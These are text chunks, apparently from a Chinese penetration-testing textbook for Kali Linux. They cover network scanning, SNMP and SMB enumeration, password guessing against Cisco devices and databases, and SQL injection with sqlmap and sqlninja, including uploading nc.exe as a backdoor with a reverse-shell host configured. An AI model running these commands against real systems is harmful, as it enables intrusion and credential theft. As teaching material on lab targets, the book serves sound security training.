|_ Unknown security type (33554432) 6667/tcp open irc | irc-info: Server: irc.Metasploitable.LAN | Version: Unreal3.2.8.1. irc.Metasploitable.LAN | Lservers/Lusers: 0/1 | Uptime: 0 days, 0:15:26 | Source host: 50388A6E.97684684.FFFA6D49.IP |_Source ident: OK nmap 8180/tcp open unknown |_http-favicon: Apache Tomcat |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Apache Tomcat/5.5 MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems) Host script results: |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | NetBIOS computer name: | Workgroup: WORKGROUP |_ System time: 2013-07-21T04:40:20-04:00 Nmap done: 1 IP address (1 host up) scanned in 46.87 seconds 可见，在使用NSE的默认类脚本后，Nmap获取的信息更为全面。"},
    {"text": "nmap --script http-enum,http-headers,http-methods,http-php-version -p 80 192.168.56.103 上述指令的运行结果如下。 Nmap scan report for 192.168.56.103 Host is up (0.0010s latency). PORT STATE SERVICE 80/tcp open http | http-enum: | /tikiwiki/: Tikiwiki | /test/: Test page | /phpinfo.php: Possible information file | /phpMyAdmin/: phpMyAdmin | /doc/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) dav/2' | /icons/: Potentially interesting folder w/ directory listing |_ /index/: Potentially interesting folder | http-headers: | Date: Sun, 21 Jul 2013 08:45:07 GMT | Server: Apache/2.2.8 (Ubuntu) DAV/2 | X-Powered-By: PHP/5.2.4-2ubuntu5.10 | Connection: close | Content-Type: text/html | |_ (Request type: HEAD) |_http-methods: No Allow or Public header in OPTIONS response (status code 200) | http-php-version: Versions from logo query (less accurate): 5.1.3 - 5.1.6, 5.2.0 - 5.2.17 | Versions from credits query (more accurate): 5.2.3 - 5.2.5 |_Version from header x-powered-by: PHP/5.2.4-2ubuntu5.10 MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 24.47 seconds 相比不使用脚本而言，在使用与HTTP相关的NSE脚本之后，我们得到与Web服务有关的更多信息。"},
    {"text": "这些网站包括 CVE （http://cve.mitre.org）、OSVDB（http://www.osvdb.org/）、scip VulDB （http://www.scip.ch/?vuldb）、SecurityTracker（http://securitytracker.com/）和Security Focus（http://www.securityfocus.com/）。"},
    {"text": "● -D（诱饵）：这个选项应指定假 IP，即诱饵的 IP。 启用这个选项之后，Nmap 在发送侦测数据包的时候会掺杂一些源地址是假IP（诱饵）的数据包。"},
    {"text": "假设我们要扫描主机 192.168.56.103，检测它的 UDP 协议（-m U）的 1-65535端口，并查看程序的详尽输出（-Iv），那么我们需要使用下述指令。"},
    {"text": "adding 192.168.56.103/32 mode 'UDPscan' ports '1-65535' pps 300 using interface(s) eth0 scaning 1.00e+00 total hosts with 6.55e+04 total packets, should take a little longer than 3 Minutes, 45 Seconds 上述信息表明，在使用 PPS 的默认值的情况下，Unicornscan 的扫描时间大约是 3分钟。"},
    {"text": "adding 192.168.56.103/32 mode 'UDPscan' ports '1-65535' pps 10000 using interface(s) eth0 scaning 1.00e+00 total hosts with 6.55e+04 total packets, should take a little longer than 13 Seconds 调整发包速率 PPS 参数之后，扫描速度提升很多。"},
    {"text": "UDP open 192.168.56.103:137 ttl 64 UDP open 192.168.56.103:53 ttl 64 UDP open 192.168.56.103:41250 ttl 64 UDP open 192.168.56.103:2049 ttl 64 UDP open 192.168.56.103:111 ttl 64 sender statistics 7586.6 pps with 65544 packets sent total listener statistics 14 packets recieved 0 packets dropped and 0 interface drops UDP open domain[ 53] from 192.168.56.103 ttl 64 UDP open sunrpc[ 111] from 192.168.56.103 ttl 64 UDP open netbios-ns[ 137] from 192.168.56.103 ttl 64 UDP open shilp[ 2049] from 192.168.56.103 ttl 64 UDP open unkown[41250] from 192.168.56.103 ttl 64 6.2.3 Zenmap Zenmap是Nmap的图形化工具。"},
    {"text": "如需新建配置文件，可选择菜单项New Profile或编辑Command 文本框，或使用快捷键Ctrl+P。 如需编辑已有的配置文件，可选择菜单项Edit Selected Profile或使用快捷键Ctrl+E。"},
    {"text": "图6.9 如需保存Zenmap的扫描结果，可在Scan菜单中选择Save Scan。 Zenmap将会询问将文件保存至何处，默认情况下将保存为XML文件（见图6.10）。"},
    {"text": "6.2.4 Amap Amap程序可检测在指定端口上运行的应用程序信息。 Amap向目标端口发送检测数据，在收到目标响应之后，将响应信息与数据库中结果进行匹配，并显示出匹配的应用程序。"},
    {"text": "Protocol on 192.168.56.103:22/tcp matches ssh - banner: SSH-2.0OpenSSH_4.7p1 Debian-8ubuntu1\\n Protocol on 192.168.56.103:22/tcp matches ssh-openssh - banner: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1\\n Amap程序还能够识别指定端口上运行的应用类型及其版本信息。"},
    {"text": "Protocol on 192.168.56.103:3306/tcp matches mysql - banner: >\\n5.0.51a-3ubuntu5/?,'～yel,nd,M～Ti3ap/5Bad handshake Protocol on 192.168.56.103:22/tcp matches ssh - banner: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1\\n Protocol on 192.168.56.103:22/tcp matches ssh-openssh - banner: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1\\n Amap可以识别在3306端口上运行的是MySQL服务，但在识别22端口上运行的服务时，却找到了多个匹配。"},
    {"text": "nbtscan工具可以扫描IP地址并获取NetBIOS名称信息。 它所生成的扫描报告含有相应主机的IP地址、NetBIOS计算机名、服务名称、已登录的用户名和MAC地址信息。"},
    {"text": "如需了解NetBIOS报告中每个服务的功能，可在微软知识库（URL地址为 http://support.microsoft.com/kb/163409 ）里查询NetBIOS服务名称的第16个字符（即NetBIOS后缀）。"},
    {"text": "Doing NBT name scan for addresses from 192.168.56.1-254 IP address NetBIOS Name Server User MAC address ----------------------------------------------------------- ---- 192.168.56.103 METASPLOITABLE <server> METASPLOITABLE 00:00:00:00:00:00 上述结果表明，程序找到了1个名为METASPLOITABLE的NetBIOS名称。"},
    {"text": "Doing NBT name scan for addresses from 192.168.56.103 NetBIOS Name Table for Host 192.168.56.103: Incomplete packet, 281 bytes long. Name Service Type --------------------------------------- METASPLOITABLE Workstation Service METASPLOITABLE Messenger Service METASPLOITABLE File Server Service METASPLOITABLE Workstation Service METASPLOITABLE Messenger Service METASPLOITABLE File Server Service WORKGROUP Domain Name WORKGROUP Browser Service Elections WORKGROUP Domain Name WORKGROUP Browser Service Elections Adapter address: 00:00:00:00:00:00 --------------------------------------- 上述结果表明，主机METASPLOITABLE运行着File Server Service和Messenger Service等网络服务。"},
    {"text": "虽然多数SNMP信息看上去并不那么重要，但是对于渗透测试人员来说，他们可以从配置不当的SNMP设备上获取配置文件，挖掘重要信息，甚至可能有权限修改它的配置文件。"},
    {"text": "apt-get install snmpd 然后修改它的配置文件/etc/default/snmpd。 sudo vi /etc/default/snmpd 找到含有SNMPDOPTIONS的那行，删除掉本机地址127.0.0.1，然后重启SNMPD服务。 sudo /etc/init.d/snmpd restart 要注意的是，这台Metaslpoitable 2的主机应当与互联网隔绝开来，否则很快将招致攻击。"},
    {"text": "Scanning 1 hosts, 2 communities 192.168.56.103 [public] Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 192.168.56.103 [private] Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 可见这台主机支持public和private的SNMP字符串。"},
    {"text": "Debug level 1 Target ip read from command line: 192.168.56.103 2 communities: public private Waiting for 10 milliseconds between packets Scanning 1 hosts, 2 communities Trying community public 192.168.56.103 [public] Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 Trying community private 192.168.56.103 [private] Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 All packets sent, waiting for responses. done. 6.4.2 snmpcheck 如需使用snmpcheck程序搜集SNMP设备的有关信息，可使用下述指令。"},
    {"text": "● 基于IPSec 技术的VPN：分支机构联入总部局域网的VPN 解决方案，多数是这类方案。 采用这种方案后，分支机构需要在网关上安装IPSec VPN客户端，总部网关上也要安装 IPSec VPN服务器。"},
    {"text": "● 基于SSL 技术的VPN：这种方案不要求用户安装专用的VPN 客户端。 只要客户端电脑装有支持SSL连接技术的Web浏览器，VPN用户就可以通过浏览器连接到VPN服务器。"},
    {"text": "因为IPSec 服务端程序并不监听TCP 端口，所以端口扫描程序不能探测IPSec VPN服务器。 而且这种服务器并不会回复ICMP unreachable 的错误信息，所以UDP 扫描程序也无法搜索到IPSec VPN服务器。"},
    {"text": "本章依据这些工具在安仝评估中的主要功能对它们进行了分类，把它们分为 OpenVAS 工具、Cisco 分析工具、模糊分析工具、SMB分析工具、SNMP分析工具和Web应用程序分析工具。"},
    {"text": "同时，审计人员对技术评估工具的熟悉程度同样影响着渗透测试工作的质量。 要保障渗透工作的长期质量，要在注重评估工具质量的同时，不断提高审计人员的技能水平。"},
    {"text": "7.1 漏洞的类型 按照产生缺陷的不同阶段，漏洞可划分为以下三个大类：设计类、实施类和运营类。 ● 设计类漏洞：在软件设计阶段，因软件规格指标设计不当而产生的安全弱点。 ● 实施类漏洞：位于系统代码中的技术安全缺陷。 ● 运营类漏洞：由于系统的配置或部署不当而导致的安全漏洞。"},
    {"text": "基于对这三个类别的分析，我们总结出了漏洞的两个通用类型，即本地漏洞和远程漏洞。 上述三类类漏洞既可以是本地漏洞，也可以是远程漏洞。"},
    {"text": "利用了著名的安全漏洞（例如，CVE-2013-0232、GP Trap Handler nt!KiTrap0D）之后，他提升了自己的权限等级，并能够进行管理级别的操作，可不受限制地执行应用程序。"},
    {"text": "7.1.2 远程漏洞 在物理上不接触主机的情况下，攻击人员使用恶意程序通过网络触发的系统漏洞，称作远程漏洞。 这种类型的漏洞可使得攻击人员越过物理上的和本地上的限制，获取远程主机的访问权限。"},
    {"text": "1. 在桌面菜单中依此选中 Kali Linux | Vulnerability Analysis | OpenVAS | Openvas check setup，并按照程序的向导进行操作，以确定本机已经正确安装了 OpenVAS程序。"},
    {"text": "# man openvas-adduser 3. 在主机联入互联网的情况下，通过NVT的订阅服务更新OpenVAS的插件，即在桌面菜单中依次选中Kali Linux |VulnerabilityAssessment | OpenVAS | OpenVas NVTSync。"},
    {"text": "在客户端界面窗口出现之后，选择File｜Connect连接到OpenVAS Server，然后输入在第1步和第2步里设置的账号信息。 如图7.2 所示，在客户端程序中输入登录信息，以连接到OpenVAS Server。"},
    {"text": "# CAT -h ww.xx.yy.zz -w lists/community -a lists/passwords -i Cisco Auditing Tool - g0ne [null0] Checking Host: ww.xx.yy.zz Guessing passwords: Invalid Password: diamond Invalid Password: cmaker Invalid Password: changeme Invalid Password: cisco Invalid Password: admin Invalid Password: default Invalid Password: Cisco Invalid Password: ciscos Invalid Password: cisco1 Invalid Password: router Invalid Password: router1 Invalid Password: _Cisco Invalid Password: blender Password Found: pixadmin ... Guessing Community Names: Invalid Community Name: public Invalid Community Name: private Community Name Found: cisco ... 如需编辑密码字典和团体字符串字典，可在执行上述命令之前，在终端窗口中使用Vim 编辑器编辑字典文件。"},
    {"text": "# cge.pl 10.200.213.25 3 Vulnerability successful exploited with [http://10.200.213.25/level/17/exec/... ] ... 上述指令进行的是第3类测试——测试Cisco IOS HTTPAuth漏洞，而且程序成功地利用了某个漏洞。"},
    {"text": "# bed -s FTP -u ftpuser -v ftpuser -t 192.168.0.7 -p 21 -o 3 BED 0.5 by mjm( www.codito.de ) ＆ eric ( www.snake-basket.de) + Buffer overflow testing: testing: 1 USER XAXAX ........... testing: 2 USER ftpuserPASS XAXAX ........... + Formatstring testing: testing: 1 USER XAXAX ....... testing: 2 USER ftpuserPASS XAXAX ....... * Normal tests + Buffer overflow testing: testing: 1 ACCT XAXAX ........... testing: 2 APPE XAXAX ........... testing: 3 ALLO XAXAX ........... testing: 4 CWD XAXAX ........... testing: 5 CEL XAXAX ........... testing: 6 DELE XAXAX ........... testing: 7 HELP XAXAX ........... testing: 8 MDTM XAXAX ........... testing: 9 MLST XAXAX ........... testing: 10 MODE XAXAX ........... testing: 11 MKD XAXAX ........... testing: 12 MKD XAXAXCWD XAXAX ........... testing: 13 MKD XAXAXDELE XAXAX ........... testing: 14 MKD XAXAXRMD XAXAX .....connection attempt failed: No route to host 上述信息表明，FTP守护程序在第14项测试的时候中断了连接。"},
    {"text": "获悉要测试的域名和测试的URL部分之后，审计人员可以自己手工构造测试的请求，也可以使用程序预定义的payload数据库，生成基于已知漏洞的恶意请求，再把这些请求发送到目标服务器以进行模糊测试。"},
    {"text": "# cd /usr/share/zaproxy/lib/jbrofuzz/ # java -jar JBroFuzz.jar JBroFuzz 界面之中有大量的选项设置，这些选项都有详细的描述和说明。"},
    {"text": "图7.5 GET /showthread.asp?id=4 HTTP/1.0 Host: testasp.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 2. 在构造测试请求数据之前，我们已经知道这台服务器上存在一个 URL：http://testasp.example.com/showthread.asp?id=4。"},
    {"text": "HTTP/1.1 500 Internal Server Error Connection:close Date: Sat, 04 Sep 2013 21:59:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 302 Content-Type: text/html Set-Cookie: ASPS ESSIONIDQADTCRCB=KBLKHENAJBNNKIOKKAJJFCDI; path=/ Cache-control: private Microsoft SQL Native Client error '80040e14' Unclosed quotation mark after the character string ''. /showthread.asp, line 9 在Windows系统中安装Metasploit时，应该禁用防病毒软件，因为有些安装文件会被其检测为潜在的病毒或威胁，从而阻塞安装过程。"},
    {"text": "NetBIOS（Network BasicInput Output System）是SMB 协议的组成部分，用于Windows系统的传输服务。 NetBIOS 工作于 TCP/IP 协议（NBT），因此同一局域网内的每台电脑都可通过唯一的网络名称和IP地址与另一台电脑进行通信。"},
    {"text": "此外，对于DEC/RPC服务程序实现的网络节点间IPC（跨进程通信）而言，其认证通道同样使用SMB协议。 也就是说，不同电脑、不同进程间都可通过SMB的认证通道进行数据交换。"},
    {"text": "本节将介绍获取SMB信息的多个工具，它们可获取主机名、运行服务、域控制器、MAC地址、操作系统类型、当前登录用户、隐藏共享、时间信息、用户群组、当前会话、打印机、可用磁盘等信息。"},
    {"text": "简单的说，python samrdump.py user:pass@ip port/SMB这样的指令就可对指定目标的指定端口（139或445）进行检测。 # python samrdump.py h4x:123@192.168.0.7 445/SMB Retrieving endpoint list from 192.168.0.7 Trying protocol 445/SMB... Found domain(s): . CUSTDESK . Builtin Looking up users in domain CUSTDESK Found user: Administrator, uid = 500 Found user: ASPNET, uid = 1005 Found user: Guest, uid = 501 Found user: h4x, uid = 1010 Found user: HelpAssistant, uid = 1000 Found user: IUSR_MODESK, uid = 1004 Found user: IWAM_MODESK, uid = 1009 Found user: MoDesktop, uid = 1003 Found user: SUPPORT_388945a0, uid = 1002 Administrator (500)/Enabled: true ... 上述指令列出了远程主机上的全部用户名。"},
    {"text": "7.7 SNMP分析工具 SNMP（Simple Network Management Protocol）是一个运行于UDP 协议161 端口的应用层协议。 SNMP 协议主要用于网络设备运行状态的监控，以关注需要管理员干预的事件，及时了解诸如电源断电、网络不可达等网络运行情况。 采用了SNMP管理技术的网络结构，通常由网络设备、管理端和代理端组成。"},
    {"text": "可运行客户端程序的网络设备包括支持SNMP协议路由器、交换机、集线器、网络摄像头、网桥，以及安装客户端程序的操作系统（Linux、Windows）主机。"},
    {"text": "# snmpwalk -v 2c -c public -O T -L f snmpwalk.txt 10.20.127.49 SNMPv2-MIB::sysDescr.0 = STRING: Hardware: x86 Family 15 Model 4 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor Free) SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.311.1.1.3.1.2 DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (1471010940) 170 days, 6:08:29.40 SNMPv2-MIB::sysContact.0 = STRING: SNMPv2-MIB::sysName.0 = STRING: CVMBC-UNITY SNMPv2-MIB::sysLocation.0 = STRING: SNMPv2-MIB::sysServices.0 = INTEGER: 76 IF-MIB::ifNumber.0 = INTEGER: 4 IF-MIB::ifIndex.1 = INTEGER: 1 IF-MIB::ifIndex.65538 = INTEGER: 65538 IF-MIB::ifIndex.65539 = INTEGER: 65539 IF-MIB::ifIndex.65540 = INTEGER: 65540 IF-MIB::ifDescr.1 = STRING: Internal loopback interface for 127.0.0 network IF-MIB::ifDescr.65538 = STRING: Internal RAS Server interface for dial in clients IF-MIB::ifDescr.65539 = STRING: HP NC7782 Gigabit Server Adapter #2 IF-MIB::ifDescr.65540 = STRING: HP NC7782 Gigabit Server Adapter IF-MIB::ifType.1 = INTEGER: softwareLoopback(24) IF-MIB::ifType.65538 = INTEGER: ppp(23) IF-MIB::ifType.65539 = INTEGER: ethernetCsmacd(6) IF-MIB::ifType.65540 = INTEGER: ethernetCsmacd(6) IF-MIB::ifMtu.1 = INTEGER: 32768 IF-MIB::ifMtu.65538 = INTEGER: 0 IF-MIB::ifMtu.65539 = INTEGER: 1500 ... IF-MIB::ifPhysAddress.65539 = STRING: 0:13:21:c8:69:b2 IF-MIB::ifPhysAddress.65540 = STRING: 0:13:21:c8:69:b3 IF-MIB::ifAdminStatus.1 = INTEGER: up(1) ... IP-MIB::ipAdEntAddr.127.0.0.1 = IpAddress: 127.0.0.1 IP-MIB::ipAdEntAddr.192.168.1.3 = IpAddress: 192.168.1.3 IP-MIB::ipAdEntAddr.192.168.1.100 = IpAddress: 192.168.1.100 IP-MIB::ipAdEntAddr.10.20.127.52 = IpAddress: 10.20.127.52 IP-MIB::ipAdEntIfIndex.127.0.0.1 = INTEGER: 1 IP-MIB::ipAdEntIfIndex.192.168.1.3 = INTEGER: 65540 IP-MIB::ipAdEntIfIndex.192.168.1.100 = INTEGER: 65538 IP-MIB::ipAdEntIfIndex.10.20.127.52 = INTEGER: 65539 IP-MIB::ipAdEntNetMask.127.0.0.1 = IpAddress: 255.0.0.0 IP-MIB::ipAdEntNetMask.192.168.1.3 = IpAddress: 255.255.255.0 IP-MIB::ipAdEntNetMask.192.168.1.100 = IpAddress: 255.255.255.255 IP-MIB::ipAdEntNetMask.10.20.127.52 = IpAddress: 255.255.255.248 IP-MIB::ipAdEntBcastAddr.127.0.0.1 = INTEGER: 1 IP-MIB::ipAdEntBcastAddr.192.168.1.3 = INTEGER: 1 IP-MIB::ipAdEntBcastAddr.192.168.1.100 = INTEGER: 1 IP-MIB::ipAdEntBcastAddr.10.20.127.52 = INTEGER: 1 IP-MIB::ipAdEntReasmMaxSize.127.0.0.1 = INTEGER: 65535 IP-MIB::ipAdEntReasmMaxSize.192.168.1.3 = INTEGER: 65535 IP-MIB::ipAdEntReasmMaxSize.192.168.1.100 = INTEGER: 65535 IP-MIB::ipAdEntReasmMaxSize.10.20.127.52 = INTEGER: 65535 RFC1213-MIB::ipRouteDest.0.0.0.0 = IpAddress: 0.0.0.0 RFC1213-MIB::ipRouteDest.127.0.0.0 = IpAddress: 127.0.0.0 RFC1213-MIB::ipRouteDest.127.0.0.1 = IpAddress: 127.0.0.1 RFC1213-MIB::ipRouteDest.192.168.1.0 = IpAddress: 192.168.1.0 RFC1213-MIB::ipRouteDest.192.168.1.3 = IpAddress: 192.168.1.3 RFC1213-MIB::ipRouteDest.192.168.1.100 = IpAddress: 192.168.1.100 RFC1213-MIB::ipRouteDest.192.168.1.255 = IpAddress: 192.168.1.255 RFC1213-MIB::ipRouteDest.10.20.127.48 = IpAddress: 10.20.127.48 RFC1213-MIB::ipRouteDest.10.20.127.52 = IpAddress: 10.20.127.52 RFC1213-MIB::ipRouteDest.10.20.127.255 = IpAddress: 10.20.127.255 ... 上述指令的输出信息可帮助我们深入地了解目标主机。"},
    {"text": "其中，选项-c 用于指定提取MIB 所需的团体字符串，-O 选项将输出结果以可读的文本（T）形式进行输出，-L选项将数据保存为文件（f snmpwalk.txt）。"},
    {"text": "Web 应用程序（前端）和数据库（后端）都是加固网络安全的重点。 Web应用程序扮演着数据处理系统的角色，而数据库负责存储敏感数据（例如信用卡号、用户信息、认证数据等），所以两者的安全性都要兼顾。 本节把Web应用程序的安全分析分为“Web应用程序测试”和“数据库测试”两个部分。"},
    {"text": "# dbpwaudit -s 10.2.251.24 -d pokeronline -D MySQL -U \\ users.txt –P passwords.txt DBPwAudit v0.8 by Patrik Karlsson <patrik@cqure.net> --------------------------------------------------- [Tue Sep 14 17:55:41 UTC 2013] Starting password audit ... [Tue Sep 14 17:55:41 UTC 2013] Testing user: root, pass: admin123 [Tue Sep 14 17:55:41 UTC 2013] Testing user: pokertab, pass: admin123 ERROR: message: Access denied for user 'root'@'10.2.206.18' (using password: YES), code: 1045 [Tue Sep 14 17:55:50 UTC 2013] Testing user: root, pass: RolVer123 ERROR: message: Access denied for user 'pokertab'@'10.2.206.18' (using password: YES), code: 1045 [Tue Sep 14 17:55:56 UTC 2013] Testing user: pokertab, pass: RolVer123 ... [Tue Sep 14 17:56:51 UTC 2013] Finnishing password audit ... Results for password scan against 10.2.251.24 using provider MySQL ----------------------------------------------------- user: pokertab pass: RolVer123 Tested 12 passwords in 69.823 seconds (0.17186314tries/sec) 上面信息表明，该程序成功地发现了一个有效的用户账户。"},
    {"text": "这些选项可以分为11个逻辑分类，即目标规格、连接请求参数、注入payload、注入技术、指纹识别、枚举选项、用户自定义函数（UDF）注入、文件系统访问选项、操作系统访问选项、Windows 注册表访问和其他杂项。"},
    {"text": "# sqlmap -u \"http://testphp.example.com/artists.php?artist=2\" -p \"artist\"-f -b --current-user --current-db --dbs --users ... [*] starting at: 11:21:43 [11:21:43] [INFO] using '/usr/share/sqlmap/output/testphp.example.com/session' as session file [11:21:43] [INFO] testing connection to the target url [11:21:45] [INFO] testing if the url is stable, wait a few seconds [11:21:49] [INFO] url is stable [11:21:49] [INFO] testing sql injection on GET parameter 'artist' with 0 parenthesis [11:21:49] [INFO] testing unescaped numeric injection on GET parameter 'artist' [11:21:51] [INFO] confirming unescaped numeric injection on GET parameter 'artist' [11:21:53] [INFO] GET parameter 'artist' is unescaped numeric injectable with 0 parenthesis [11:21:53] [INFO] testing for parenthesis on injectable parameter [11:21:56] [INFO] the injectable parameter requires 0 parenthesis [11:21:56] [INFO] testing MySQL [11:21:57] [INFO] confirming MySQL [11:21:59] [INFO] retrieved: 2 [11:22:11] [INFO] the back-end DBMS is MySQL [11:22:11] [INFO] fetching banner [11:22:11] [INFO] retrieved: 5.0.22-Debian_0ubuntu6.06.6-log [11:27:36] [INFO] the back-end DBMS operating system is Linux Debian or Ubuntu ... [11:28:00] [INFO] executing MySQL comment injection fingerprint web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake) web application technology: Apache 2.0.55, PHP 5.1.2 back-end DBMS operating system: Linux Debian or Ubuntu back-end DBMS: active fingerprint: MySQL >= 5.0.11 and < 5.0.38 comment injection fingerprint: MySQL 5.0.22 banner parsing fingerprint: MySQL 5.0.22, logging enabled html error message fingerprint: MySQL [11:31:49] [INFO] fetching banner [11:31:49] [INFO] the back-end DBMS operating system is Linux Debian or Ubuntu banner: '5.0.22-Debian_0ubuntu6.06.6-log' [11:31:49] [INFO] fetching current user [11:31:49] [INFO] retrieved: fanart@localhost current user: 'fanart@localhost' [11:34:47] [INFO] fetching current database [11:34:47] [INFO] retrieved: fanart current database: 'fanart' [11:35:57] [INFO] fetching database users [11:35:57] [INFO] fetching number of database users [11:35:57] [INFO] retrieved: 1 [11:36:04] [INFO] retrieved: 'fanart'@'localhost' database management system users [1]: [*] 'fanart'@'localhost' [11:39:56] [INFO] fetching database names [11:39:56] [INFO] fetching number of databases [11:39:56] [INFO] retrieved: 3 [11:40:05] [INFO] retrieved: information_schema [11:43:18] [INFO] retrieved: fanart [11:44:24] [INFO] retrieved: modrewriteShop available databases [3]: [*] fanart [*] information_schema [*] modrewriteShop [11:47:05] [INFO] Fetched data logged to text files under '/usr/share/sqlmap/output/testphp.example.com' ... 这一时刻，我们成功地发现了artist参数存在注入问题。"},
    {"text": "默认情况下，SQLMap会扫描所有可用的参数（GET、POST、HTTPCookie和User-Agent），但是我们通过指定参数（-p\"Parameter 1，Parameter 2\"）限制了测试对象的范围。"},
    {"text": "# sqlmap -u \"http://testphp.example.com/artists.php?artist=2\" --tables -D fanart -v 0 [*] starting at: 12:03:53 web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake) web application technology: Apache 2.0.55, PHP 5.1.2 back-end DBMS: MySQL 5 Database: fanart [7 tables] +------------+ | artists | | carts | | categ | | featured | | guestbook | | pictures | | users | +------------+ 上述信息表明，由于两次测试都使用了相同的 URL，SQLMap 程序使用了上次会话（session）中提取的指纹信息，并没有从头对数据库进行测试。"},
    {"text": "这个程序还有其他一些高级选项，例如--os-cmd、--os-shell 或--os-pw 用于可帮助渗透测试者获得远程访问系统权限，并执行任意命令。"},
    {"text": "SQL Ninja 的功能有：对服务器进行指纹识别、暴力破解密码、提升权限、上传后门、直接调用shell、反连方法连接shell（绕过防火墙的技术）、反射shell、DNS隧道、单命令执行等。"},
    {"text": "# cd /usr/share/doc/sqlninja/ # gzip –d sqlninja.conf.example.gz # cp sqlninja.conf.example.gz /usr/share/sqlninja/sqlninja.conf 然后，我们要修改配置文件，使其符合我们的测试内容。"},
    {"text": "# vim sqlninja.conf ... # Host (required) host = testasp.example.com # Port (optional, default: 80) port = 80 # Vulnerable page (e.g.: /dir/target.asp) page = /showforum.asp stringstart = id=0; # Local host: your IP address (for backscan and revshell modes) lhost = 192.168.0.3 msfpath = /usr/share/exploits/framework3 # Name of the procedure to use/create to launch commands. Default is # \"xp_cmdshell\". If set to \"NULL\", openrowset+sp_oacreate will be used # for each command xp_name = xp_cmdshell ... 在上述配置文件中，我们仅修改了一些必要的参数，其他没有提及的内容均采用了默认值。"},
    {"text": "# sqlninja -m t Sqlninja rel. 0.2.3 Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net> [+] Parsing configuration file................ [+] Target is: testasp.targetdomain.com [+] Trying to inject a 'waitfor delay'.... [+] Injection was successful! Let's rock !! :) ... 可见，程序成功地识别出了配置文件的各种设置，而且盲注测试取得了成功。"},
    {"text": "# sqlninja -m f Sqlninja rel. 0.2.3 Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net> [+] Parsing configuration file................ [+] Target is: testasp.example.com What do you want to discover ? 0 - Database version (2000/2005) 1 - Database user 2 - Database user rights 3 - Whether xp_cmdshell is working 4 - Whether mixed or Windows-only authentication is used a - All of the above h - Print this menu q - exit >a [+] Checking SQL Server version... Target: Microsoft SQL Server 2005 [+] Checking whether we are sysadmin... No, we are not 'sa'.... :/ [+] Finding dbuser length... Got it ! Length = 8 [+] Now going for the characters........ DB User is....: achcMiU9 [+] Checking whether user is member of sysadmin server role.... You are an administrator ! [+] Checking whether xp_cmdshell is available xp_cmdshell seems to be available :) Mixed authentication seems to be used >q ... 上述信息表明，目标系统存在漏洞，其指定的数据库安全策略并不够安全。"},
    {"text": "# sqlninja -m u Sqlninja rel. 0.2.3 Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net> [+] Parsing configuration file................ [+] Target is: testasp.targetdomain.com File to upload: shortcuts: 1=scripts/nc.scr 2=scripts/dnstun.scr >1 [+] Uploading scripts/nc.scr debug script............ 1540/1540 lines written done ! [+] Converting script to executable... might take a while [+] Completed: nc.exe is uploaded and available ! 至此，我们巳经成功上传后门。"},
    {"text": "这些漏洞包括缓冲区溢出、跨站脚本（XSS）、SQL 注入、SSI 注入、XML注入、应用配置错误、功能滥用、会话预测、信息泄露以及许多其他类型的漏洞。"},
    {"text": "Burp Suit将有关工具整合为一体，能够在多个工具之间传递和共享信息，成为了一个完整的攻击平台。 这一特性使得Burp Suite成为了简单有效的Web应用程序攻击框架。"},
    {"text": "您还可以根据评估任务的实际情况设置这个界面的其他选项，例如主机重定向、SSL证书、客户端请求拦截、服务器响应拦截、页面属性和请求头修改等。"},
    {"text": "Error: Unknown column 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA' in 'where clause' Warning : mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/default/htdocs/listproducts.php on line 74 9. 上述信息是SQL 注入漏洞的典型特征。"},
    {"text": "# nikto -h testphp.example.com -p 80 -T 3478b -t 3 -D \\ V -o webtest –F htm - Nikto v2.1.5 ------------------------------------------------------------- V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_apache_expect_xss V:Sat Sep 18 14:39:37 2013 - Loaded \"Apache Expect XSS\" plugin. V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_apacheusers V:Sat Sep 18 14:39:37 2013 - Loaded \"Apache Users\" plugin. V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_cgi V:Sat Sep 18 14:39:37 2013 - Loaded \"CGI\" plugin. V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_core V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_dictionary_attack ... V:Sat Sep 18 14:39:38 2013 - Checking for HTTP on port 10.2.87.158:80, using HEAD V:Sat Sep 18 14:39:38 2013 - Opening reports V:Sat Sep 18 14:39:38 2013 - Opening report for \"Report as HTML\" plugin + Target IP: 10.2.87.158 + Target Hostname: testphp.example.com + Target Port: 80 + Start Time: 2013-09-19 14:39:38 